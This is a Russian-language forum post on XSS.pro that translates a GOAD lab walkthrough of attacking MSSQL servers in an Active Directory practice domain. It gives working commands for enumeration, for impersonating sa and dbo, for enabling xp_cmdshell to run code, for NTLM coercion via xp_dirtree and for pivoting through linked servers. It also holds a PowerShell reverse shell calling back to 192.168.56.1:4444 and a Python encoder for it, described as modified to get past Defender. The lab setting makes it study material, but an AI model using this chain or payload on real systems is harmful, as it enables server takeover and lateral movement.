• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GOAD - часть 7 - MSSQL

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

В предыдущем посте мы попробовали некоторые атаки с включенным ADCS на домене. Теперь давайте сделаем шаг назад и вернемся на castelblack.north.sevenkingdoms.local, чтобы взглянуть на сервер MSSQL. Прежде чем перейти к этой главе, я сделал несколько небольших конфигураций в лаборатории, чтобы убедиться, что вы все поняли, вы должны извлечь обновления и воспроизвести : ansible-playbook servers.yml, чтобы получить последнюю конфигурацию mssql.

Вот эти модификации:

arya.stark выполнить от имени пользователя dbo выдать привилегии на msdb
brandon.stark выполнить от имени пользователя dbo привилегию impersonate на jon.snow


Перечисление серверов MSSQL

Impacket GetUserSPNs.py

Сначала попробуем выяснить пользователей с SPN на сервере MSSQL

Код:
GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople

И на домене essos

Код:
GetUserSPNs.py -target-domain essos.local north.sevenkingdoms.local/brandon.stark:iseedeadpeople

1670682260308.png


Далее
Код:
nmap -p 1433 -sV -sC 192.168.56.10-23

Два сервера отвечают :

Код:
castelblack.north.sevenkingdoms.local

1670682346614.png


braavos.essos.local : результат идентичен результату castelblack.

CrackMapExec

Давайте попробуем с помощью crackmapexec

Код:
./cme mssql 192.168.56.22-23

1670682412606.png


Теперь мы можем попробовать с пользователем samwell.tarly

Код:
./cme mssql 192.168.56.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local

1670682452322.png


мы получили доступ к базе данных

Impacket​

  • Чтобы перечислить и использовать impacket mssql, я сделал модифицированную версию примера mssqlclient.py.
  • Вы можете найти версию здесь
  • Установка аналогична тому, что мы сделали в части 5, объедините PR в вашем локальном проекте impacket и перезапустите установку:
Код:
cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket
cd myimpacket
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
git fetch origin pull/1397/head:1397
git merge 1397
python3 -m pip install .


Мы подключаемся к серверу mssql с помощью следующей команды:

Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local


Help:

Код:
lcd {path}                 - changes the current local directory to {path}
   exit                       - terminates the server process (and this session)
   enable_xp_cmdshell         - you know what it means
   disable_xp_cmdshell        - you know what it means
   enum_db                    - enum databases
   enum_links                 - enum linked servers
   enum_impersonate           - check logins that can be impersonate
   enum_logins                - enum login users
   enum_users                 - enum current db users
   enum_owner                 - enum db owner
   exec_as_user {user}        - impersonate with execute as user
   exec_as_login {login}      - impersonate with execute as login
   xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
   xp_dirtree {path}          - executes xp_dirtree on the path
   sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
   use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
   ! {cmd}                    - executes a local shell cmd
   show_query                 - show query
   mask_query                 - mask query

Я добавил несколько новых записей в базу данных: enum_db/enum_links/enum_impersonate/enum_login/enum_owner/exec_as_user/exec_as_login/use_link/show_query/mask_query
Начнем перечисление:

Код:
enum_logins
Это запустит следущий запрос:
Код:
select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, 
sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin 
from  master.sys.server_principals r 
left join master.sys.syslogins sl on sl.sid = r.sid 
where r.type in ('S','E','X','U','G')
Мы видим только основную часть потому что являемся простым пользователем
1670682930744.png


impersonate - выполнять как логин
Давайте перечислим значения имперсонализации:
Код:
enum_impersonate
В результате будут выполнены следующие запросы:
Код:
SELECT 'LOGIN' as 'execute as','' AS 'database',
pe.permission_name, pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'


Предыдущая команда выводит список всех логинов с разрешением на имперсонацию.
Эта команда также запускает следующую команду на каждой базе данных:

Код:
use <db>;
SELECT 'USER' as 'execute as', DB_NAME() AS 'database',
pe.permission_name,pe.state_desc, pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.database_permissions pe
JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'


Предыдущая команда выводит список всех пользователей с разрешением на имперсонацию.
Что это такое? Логин и пользователь, в чем разница?
Логин дает право на вход "директора" в SERVER.
"Пользователь" дает право входа в отдельную БАЗУ ДАННЫХ.

Я нашел хорошее объяснение для вышесказанного, если вы еще не поняли читайте:

"SQL Login предназначен для аутентификации, а SQL Server User - для авторизации. Аутентификация может решить, есть ли у нас разрешения на доступ к серверу или нет, а авторизация решает, какие различные операции мы можем выполнять в базе данных. Логин создается на уровне экземпляра SQL Server, а пользователь - на уровне базы данных SQL Server. Мы можем иметь несколько пользователей из разных баз данных, подключенных к одному логину на сервере".

1670683240687.png


Давайте посмотрим результат:

Ok Samwell получил логин имперсонализации для пользователя sa.
Поэтому мы можем выдать sa за другого пользователя с помощью execute as login и выполнять команды с помощью xp_cmdshell
Код:
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
Это запустит следующие команды:
Код:
exec as login='sa';
exec master.dbo.sp_configure 'show advanced options', 1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master.dbo.xp_cmdshell 'whoami'

И мы добились выполнения кода !

1670683413817.png


На этот раз продолжим перечисление в качестве login sa

Код:
enum_logins

1670683468631.png


Как мы видим, с помощью sa login мы видим гораздо больше, и что jon.snow является сисадмином на сервере mssql.
Давайте посмотрим, есть ли у других привилегии имперсонации:
Код:
enum_impersonate
1670683575405.png

Как пользователь sysadmin (sa), мы можем видеть всю информацию в базе данных и, соответственно, других пользователей с привилегиями имперсонации. Другим способом проникновения может быть доступ от имени brandon.stark и выполнение команды execute as login для пользователя jon.snow.

impersonate - execute as user

Мы запускаем соединение с базой данных под именем arya.stark :
Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
Если мы используем master db и выдаем себя за пользователя dbo, мы не можем получить шелл
Код:
use master
execute as user = "dbo"
exec master..xp_cmdshell 'whoami'
1670683797875.png

наш пользователь также получил привилегию impersonate user на пользователя dbo в базе данных msdb

1670683861675.png


Разница между двумя базами данных заключается в том, что для msdb установлено свойство trustworthy (значение по умолчанию для msdb).

1670683921866.png


С свойством trustworthy мы получаем шелл

1670683968802.png


Coerce и relay

Mssql также можно использовать для принудительной NTLM-аутентификации с сервера mssql. Входящее соединение будет от пользователя, который запускает сервер mssql.
В нашем случае, если мы укажем любого пользователя, например, hodor, мы сможем получить NTLM-аутентификацию
start responder responder -I vboxnet0
Подключение с hodor (0 privilèges)
Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/hodor:hodor@castelblack.north.sevenkingdoms.local

запустите команду xp_dirtree :

Код:
exec master.sys.xp_dirtree '\\192.168.56.1\demontlm',1,1

И мы получаем соединение с нашим респондером
1670684205018.png


Это будет работать и с ntlmrelayx (например, с сервером, работающим от имени администратора и с тем же паролем на других серверах). Но в лаборатории такое поведение пока не настроено.

доверенные ссылки

Еще одно злоупотребление SQL, которое мы можем попробовать в лаборатории, это использование доверенных ссылок mssql.
Обратите внимание, что доверенная ссылка также является техникой "лес на лес".
Для злоупотребления ссылками давайте подключимся к jon.snow и воспользуемся enum_links
Код:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
SQL (NORTH\jon.snow dbo@master)> enum_links
Это воспроизводит следующие запросы:
Код:
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
1670684338540.png


Как мы видим, существует связанный сервер с именем BRAAVOS и существует связка с пользователем jon.snow и sa на Braavos.
Если мы используем ссылку, мы можем получить инъекцию команды на Braavos:
Код:
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
Это запускает следующие команды MSSQL:
Код:
EXEC ('select system_user as "username"') AT BRAAVOS
EXEC ('exec master.dbo.sp_configure ''show advanced options'', 1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
EXEC ('exec master..xp_cmdshell ''whoami'') AT BRAAVOS
1670684512164.png

Мы получили инъекцию команды на braavos.essos.local под именем essos\sql_svc.
Я сделал изменения в mssqlclient.py, чтобы иметь возможность создавать цепочки доверенных_ссылок. От нее мы можем перейти к другой доверенной ссылке и т.д...

Пример

Выполнение команд в shell

Мы получили выполнение команд на castelblack, а также на braavos. Но теперь нам нужен shell для взаимодействия с сервером.
Чтобы получить shell, мы можем использовать базовую веб-оболочку Powershell (она доступна в проекте arsenal commands cheatsheet. Это еще один из моих проектов, который мне нужно будет улучшить, когда у меня появится время, но этот скрипт больше не обходит defender, поэтому давайте напишем некоторые модификации):

Код:
$c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()

Давайте преобразуем эту команду powershell в base64 в utf-16 для powershell

Код:
#!/usr/bin/env python
import base64
import sys

if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())

1670686277853.png


запустили и полуили шелл

1670686307454.png


В следующий раз мы повеселимся с IIS и получим nt author\system shell на серверах
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх